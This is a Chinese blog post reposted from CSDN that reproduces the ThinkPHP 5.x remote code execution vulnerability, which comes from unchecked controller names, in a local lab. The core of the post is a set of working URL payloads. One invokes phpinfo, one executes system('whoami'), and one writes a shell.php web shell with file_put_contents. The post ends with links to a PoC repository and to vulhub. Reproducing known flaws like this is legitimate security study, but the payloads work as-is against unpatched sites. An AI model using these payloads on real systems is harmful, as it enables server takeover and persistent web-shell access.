ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞
转载声明:
本文为摘录自“csdn博客”,版权归原作者所有。
温馨提示:
为了更好的体验,请点击原文链接进行浏览
摘录时间:
2020-12-01 17:17:50
ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。
复现环境
ThinkPHP 5.0.20版本
环境启动后,访问http://192.168.1.15:8080即可看到ThinkPHP默认启动页面。
漏洞复现
payload:
代码执行
/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100
index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
写入文件
/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=加你要写入的文件内容url编码
写入:
访问发现shell.php
漏洞poc:
https://github.com/heroanswer/thinkphp_rce_poc
参考链接:
https://bbs.ichunqiu.com/thread-48687-1-1.html?tdsourcetag=s_pcqq_aiomsg
http://www.thinkphp.cn/topic/60400.html
http://www.thinkphp.cn/topic/60390.html
https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce